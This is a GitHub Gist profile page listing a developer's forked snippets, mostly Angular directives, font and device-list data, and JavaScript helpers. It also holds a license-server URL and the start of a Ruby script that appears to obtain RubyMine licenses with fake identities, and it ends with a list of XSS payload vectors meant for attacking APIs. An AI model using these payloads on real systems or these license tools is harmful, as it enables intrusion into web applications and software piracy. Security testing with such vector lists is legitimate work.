Skip to content

Instantly share code, notes, and snippets.

View nitin-rachabathuni's full-sized avatar
👨‍💻
CODE

Nitin Venkat Rachabathuni nitin-rachabathuni

👨‍💻
CODE
  • [ available ]
  • Hyderabad, India.
View GitHub Profile
@nitin-rachabathuni
nitin-rachabathuni / NumbersOnlyDirective
Created July 5, 2021 17:59
Angular 10 numbers only input Directive
import { Directive, ElementRef, HostListener } from '@angular/core';
@Directive({
selector: '[appNumbersOnly]'
})
export default class NumbersOnlyDirective {
// Only want positive integers
private regex: RegExp = new RegExp(/^[+]?([1-9]+(?:[\.][0-9]*)?|\.[0-9]+)(?:[eE][+-]?[0-9]+)?$/);
// Allow key codes for special events Backspace, tab, end, home
private specialKeys = ['Backspace', 'Tab', 'End', 'Home'];
@nitin-rachabathuni
nitin-rachabathuni / number-only.directive.ts
Created July 5, 2021 17:58 — forked from pardamike/number-only.directive.ts
Angular 6 Directive to allow only positive integers in an input
// *** NOTE: This is only allowing positive integers, adjust the regex to suit your needs
// Stackblitz (w/ Angular Material): https://stackblitz.com/edit/angular-8fsecv?file=app%2Fnumber-only.directive.ts
import { Directive, ElementRef, HostListener } from '@angular/core';
@Directive({
selector: '[numberOnly]'
})
export class NumberOnlyDirective {
// Only want positive integers
@nitin-rachabathuni
nitin-rachabathuni / gotham.md
Created June 17, 2021 21:28 — forked from mfd/ gotham.md
Gotham font
https://cdn.rawgit.com/mfd/f3d96ec7f0e8f034cc22ea73b3797b59/raw/856f1dbb8d807aabceb80b6d4f94b464df461b3e/gotham.css

<link rel="https://cdn.rawgit.com/mfd/f3d96ec7f0e8f034cc22ea73b3797b59/raw/856f1dbb8d807aabceb80b6d4f94b464df461b3e/gotham.css">

@nitin-rachabathuni
nitin-rachabathuni / data.json
Created March 7, 2021 04:18 — forked from jdarling/data.json
D3 MindMap
{
"name": "Root",
"children": [
{
"name": "Branch 1",
"children": [
{"name": "Leaf 3"},
{"name": "Leaf 4"}
]
},
@nitin-rachabathuni
nitin-rachabathuni / Chromium Mobile Device List
Created June 4, 2020 02:44 — forked from devinmancuso/Chromium Mobile Device List
Mobile Device Emulation List from Chromium
#Pulled from Chromium at: https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/devtools/front_end/toolbox/OverridesUI.js&q=WebInspector.OverridesUI._phones%20file:OverridesUI.js&sq=package:chromium&type=cs&l=310
#Phones
Define_phones = [
{deviceName: "Apple iPhone 3GS", width: 320, height: 480, deviceScaleFactor: 1, userAgent: "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", touch: true, mobile: true},
{deviceName: "Apple iPhone 4", width: 320, height: 480, deviceScaleFactor: 2, userAgent: "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", touch: true, mobile: true},
{deviceName: "Apple iPhone 5", width: 320, height: 568, deviceScaleFactor: 2, userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Versi
git for-each-ref --format='%(color:cyan)%(authordate:format:%m/%d/%Y %I:%M %p) %(align:25,left)%(color:yellow)%(authorname)%(end) %(color:reset)%(refname:strip=3)' --sort=authordate refs/remotes
@nitin-rachabathuni
nitin-rachabathuni / javascript-localstorage-expiry.js
Created October 18, 2019 06:40 — forked from shaik2many/javascript-localstorage-expiry.js
set timeout for localStorage or sessionStorage
http://apassant.net/2012/01/16/timeout-for-html5-localstorage/
var hours = 24; // Reset when storage is more than 24hours
var now = new Date().getTime();
var setupTime = localStorage.getItem('setupTime');
if (setupTime == null) {
localStorage.setItem('setupTime', now)
} else {
if(now-setupTime > hours*60*60*1000) {
localStorage.clear()
http://cronus.allowed.org works for me, 2018.1.6
@nitin-rachabathuni
nitin-rachabathuni / fetch_rubymine_license.rb
Created June 21, 2019 08:22 — forked from avsej/fetch_rubymine_license.rb
Automate rubymine license fetching
#!/usr/bin/env ruby
require 'rubygems'
require 'net/http'
require 'digest/md5'
require 'pp'
begin
require 'faker'
rescue LoadError
puts "You should install faker gem. (gem install faker)"
exit
@nitin-rachabathuni
nitin-rachabathuni / 666_lines_of_XSS_vectors.html
Created May 29, 2019 08:22 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>